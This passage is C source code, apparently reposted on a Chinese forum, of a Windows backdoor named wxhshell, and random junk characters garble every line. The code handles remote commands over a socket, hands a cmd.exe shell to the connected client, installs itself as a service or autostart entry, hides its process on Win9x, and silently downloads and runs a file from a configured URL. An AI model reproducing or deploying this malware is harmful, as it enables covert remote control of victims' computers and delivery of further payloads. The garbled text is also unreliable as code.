  else { %Qgw7p4  
hW' )Sp  
    switch(cmd[0]) { h8j.(  
  RU{twL.B  
  // 帮助 ? V1*cVD6i  
  case '?': { yu {d! {6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t,Lrfv])  
    break; udH7}K v  
  } ]]![EHi(\  
  // 安装 TprTWod2]t  
  case 'i': { LrfVh-}|:Y  
    if(Install()) 1nM  #kJ"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <{p4V|:  
    else 4KAZ ':  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &AMl:@p9  
    break; f%JIp#B  
    } ITQA0PI SL  
  // 卸载 w(Ovr`o?9t  
  case 'r': { )}R0Y=e  
    if(Uninstall()) yN0Vr\r2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]! &FKy  
    else BZ#(   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y Uc+0  
    break; pad*oPH,  
    } &E F!OBR  
  // 显示 wxhshell 所在路径 \sixI;-2  
  case 'p': { bP#:Oi0v`  
    char svExeFile[MAX_PATH]; 9=M$AB  
    strcpy(svExeFile,"\n\r"); ;+_:,_  
      strcat(svExeFile,ExeFile); tT8%yG}  
        send(wsh,svExeFile,strlen(svExeFile),0); 2|y"!JqE1  
    break; +/7?HGf  
    } SR hiQ  
  // 重启 yzn%<H~  
  case 'b': { G Vr1`l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TqQB@-!  
    if(Boot(REBOOT)) /HEw-M9z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j;Gtu  
    else { 7WqH&vU|  
    closesocket(wsh); wu6;.xTLl  
    ExitThread(0); Paq4  
    } 2qNt,;DQ  
    break; $Wol?)z  
    } j_[tu!~  
  // 关机 +E+p"7  
  case 'd': { rKc9b<Ir  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E~T-=ocKE  
    if(Boot(SHUTDOWN)) n6>#/eUH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]cvwIc">  
    else { 0auYG><=  
    closesocket(wsh); >uB?rGcM  
    ExitThread(0); By,eETU]  
    } b_krk\e@S  
    break; aKDKmHd  
    } ;1=1:S8  
  // 获取shell xa*hi87L*  
  case 's': { r<EY]f^`u  
    CmdShell(wsh); R^fPIv`q  
    closesocket(wsh); uMv,zO5  
    ExitThread(0); bWS&Yk(  
    break; J{<X 7uB  
  } Hio0HL-  
  // 退出 S+6.ZZ9c  
  case 'x': { z6P$pqyF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *a^(vo   
    CloseIt(wsh); B mb0cF Q  
    break; V &T~zh1  
    } m7V/zne  
  // 离开 I][*j  
  case 'q': { Lb-OsKU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?UR0:f:}oc  
    closesocket(wsh);  }v{LRRi  
    WSACleanup(); $wa{~'  
    exit(1); E&w7GZNt  
    break; S13nL^=i  
        } ^DLfY-F+j  
  } 6|=f$a  
  } 2[yd> (`  
pllGB6X  
  // 提示信息 d1T!+I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4at?(B+  
} DCa^ u'f  
  } -i|}m++  
Gz0]}]A  
  return; 3=[mP, pLh  
} y.k~Y0  
8Fh)eha9f  
// shell模块句柄 U/M>?G~  
int CmdShell(SOCKET sock) >Tx?%nQ  
{ TX/Xt7#R:  
STARTUPINFO si; |e&\<LwsP  
ZeroMemory(&si,sizeof(si)); 3}1u\(Mf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (9 d&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BlO<PMmhT&  
PROCESS_INFORMATION ProcessInfo; o-HT1Hc!  
char cmdline[]="cmd"; ^\% (,KNo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8,%^ M9zBP  
  return 0; 2,F .$X  
} ;(%QD 3>  
@HCVmg:  
// 自身启动模式 ~~P5k:  
int StartFromService(void) kTB 0b*V  
{ Zx@a/jLO[n  
typedef struct 5DZ#9m/  
{ gD?l-RT>  
  DWORD ExitStatus; $PPi5f}HD  
  DWORD PebBaseAddress; Zi i   
  DWORD AffinityMask; sP~<*U.7  
  DWORD BasePriority; j$:~Rek  
  ULONG UniqueProcessId; 00y!K m_D  
  ULONG InheritedFromUniqueProcessId; EZGIf/ 3  
}   PROCESS_BASIC_INFORMATION; pv&sO~!iC  
eByz-,{P  
PROCNTQSIP NtQueryInformationProcess; e *C(q~PQ  
_H%c;z+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B3I`40#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HC8e>kP9b  
'<<t]kK[N  
  HANDLE             hProcess; L*+@>3mu)  
  PROCESS_BASIC_INFORMATION pbi; ITBE|b  
Llo"MO*sr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /6* 42[r  
  if(NULL == hInst ) return 0; +'a^f5  
m0SlOgRsk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d0ks G$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /~?*=}c^m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GxxW&y  
%> eiAB_b  
  if (!NtQueryInformationProcess) return 0; 2zb"MEOS5  
j^JPZ{ej ?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LRA8p<Rs  
  if(!hProcess) return 0; n84|{l581  
SnfYT)Ph  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \2$|Ei7  
\8cx6 G'  
  CloseHandle(hProcess); w@E3ZL^  
niyV8v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tWRC$  
if(hProcess==NULL) return 0; >GRxHK@G  
RrB&\9=  
HMODULE hMod; Otuf] B^s  
char procName[255]; >bW #Zs,6  
unsigned long cbNeeded; `^&OF u ee  
TJRCH>E[a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^h6tr8yn  
R 9\*#c  
  CloseHandle(hProcess); Yq KCeg  
;_(4Q*Yx  
if(strstr(procName,"services")) return 1; // 以服务启动 Q2gq}c~  
TeM|:o  
  return 0; // 注册表启动 QWYJ *  
} m_]Y{3C  
Xv^qVn4  
// 主模块 i/4>2y9/F4  
int StartWxhshell(LPSTR lpCmdLine) &8lZNv8;(p  
{ e7 o.xR  
  SOCKET wsl; 3w'tH4C[Y  
BOOL val=TRUE; y N-9[P8C  
  int port=0; rILYI;'o  
  struct sockaddr_in door; l f, 5w  
[W&T(%(W-  
  if(wscfg.ws_autoins) Install(); S9.o/mr  
4pvMd  
port=atoi(lpCmdLine); hgq;`_;1,  
ZECfR>`x  
if(port<=0) port=wscfg.ws_port; qE"OB  
<5051U Eu  
  WSADATA data; (LCfUI6;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; })%{AfDRF  
JZ x[W&]zT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   upmx $H>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AK4t\D)K1  
  door.sin_family = AF_INET; guR/\z$D@C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TLH1>pY&  
  door.sin_port = htons(port); eR>oq,  
l/5 hp.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [/r(__.  
closesocket(wsl); `a/`,N  
return 1; ^2rN>k,?  
} J&_n9$  
Pq$n5fZC !  
  if(listen(wsl,2) == INVALID_SOCKET) { 1% `Rs  
closesocket(wsl); ? r4>"[  
return 1; UN#S;x*  
} !N^@4*  
  Wxhshell(wsl); m&3xJuKih  
  WSACleanup(); ~} ~4  
/ ;$[E  
return 0; !ohN!P7&  
Kg]J/|0\  
} tH4B:Bgj!  
#'`{Qv0,  
// 以NT服务方式启动 c:('W16  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n$R)>n Y  
{ }@)[5N# A|  
DWORD   status = 0; [-w%/D%@  
  DWORD   specificError = 0xfffffff; y~V(aih}D  
.xkM.g4{~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i|kRK7[6B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?Bmb' 3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !4!~L k=  
  serviceStatus.dwWin32ExitCode     = 0;  bN.Pex  
  serviceStatus.dwServiceSpecificExitCode = 0; uxz^/Gk  
  serviceStatus.dwCheckPoint       = 0; Y]a@j !  
  serviceStatus.dwWaitHint       = 0; %C]>9."  
Fr-SvsNFB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dO\"?aiD  
  if (hServiceStatusHandle==0) return; p#tI;"\y  
4,ag(^}=  
status = GetLastError(); zt%Mx>V@  
  if (status!=NO_ERROR) z$sGv19pB  
{ cMIEtK`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ALHIGJW:6$  
    serviceStatus.dwCheckPoint       = 0; 8P`"M#fI  
    serviceStatus.dwWaitHint       = 0; eMzk3eOJ  
    serviceStatus.dwWin32ExitCode     = status; 5)40/cBe  
    serviceStatus.dwServiceSpecificExitCode = specificError; 46;uW{EY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5h*p\cl!Y  
    return; {;oPLr+Z  
  } J}t%p(mb  
:(%5:1W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lTsjxw o  
  serviceStatus.dwCheckPoint       = 0; "@n%Z  
  serviceStatus.dwWaitHint       = 0; dh\P4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =(^3}x  
} l^ }c!  
b,@/!ia  
// 处理NT服务事件,比如:启动、停止 l,).p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HaYo!.(Fv  
{ ;*J  
switch(fdwControl) /L 3:  
{ B5QFK  
case SERVICE_CONTROL_STOP: 6LhTBV  
  serviceStatus.dwWin32ExitCode = 0; ~LC-[&$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KPki}'GO  
  serviceStatus.dwCheckPoint   = 0; CC`JZ.SO  
  serviceStatus.dwWaitHint     = 0; 7EJ+c${e.-  
  { $cg cX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +ge?w#R  
  } t JmTBsn  
  return; 2 E= L8<  
case SERVICE_CONTROL_PAUSE: dr"1s-D4IQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~J]qP#C  
  break; qP ,EBE  
case SERVICE_CONTROL_CONTINUE: X3& Jb2c2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vQ.R{!",>  
  break; gM]:Ma  
case SERVICE_CONTROL_INTERROGATE: d zMb5puH  
  break; MK*r+xfSae  
}; ,%y /kS]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xD7]C|8o  
} /{2,zW  
4ppz,L,4  
// 标准应用程序主函数 JGZBL{8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I=#$8l.*  
{ I+(nu47ZT  
qgB_=Q#E  
// 获取操作系统版本 9H~n _   
OsIsNt=GetOsVer(); $VR{q6[0S?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n+p }\msH  
<ZW-QN4  
  // 从命令行安装 9M ]_nPY  
  if(strpbrk(lpCmdLine,"iI")) Install(); VN.Je: Ju  
=MWHJ'3-/  
  // 下载执行文件 3c%caK  
if(wscfg.ws_downexe) { g2]Qv@nxw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _v:SP LU  
  WinExec(wscfg.ws_filenam,SW_HIDE); `@%LzeGz  
} ]@TCk8d$0  
]###w;  
if(!OsIsNt) { 4e  
// 如果时win9x,隐藏进程并且设置为注册表启动 y>LBl]  
HideProc(); {h4E8.E  
StartWxhshell(lpCmdLine); tX[WH\(xI  
} bd`P0f?  
else 1Ws9WU  
  if(StartFromService()) H*6W q  
  // 以服务方式启动 R-14=|7a-  
  StartServiceCtrlDispatcher(DispatchTable); #;S*V"  
else ~G w*r\\+  
  // 普通方式启动 3XKf!P  
  StartWxhshell(lpCmdLine); k{0o9,  
ipz5H*  
return 0; WzWX E(  
}
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只看该作者 1 发表于: 2006-10-10
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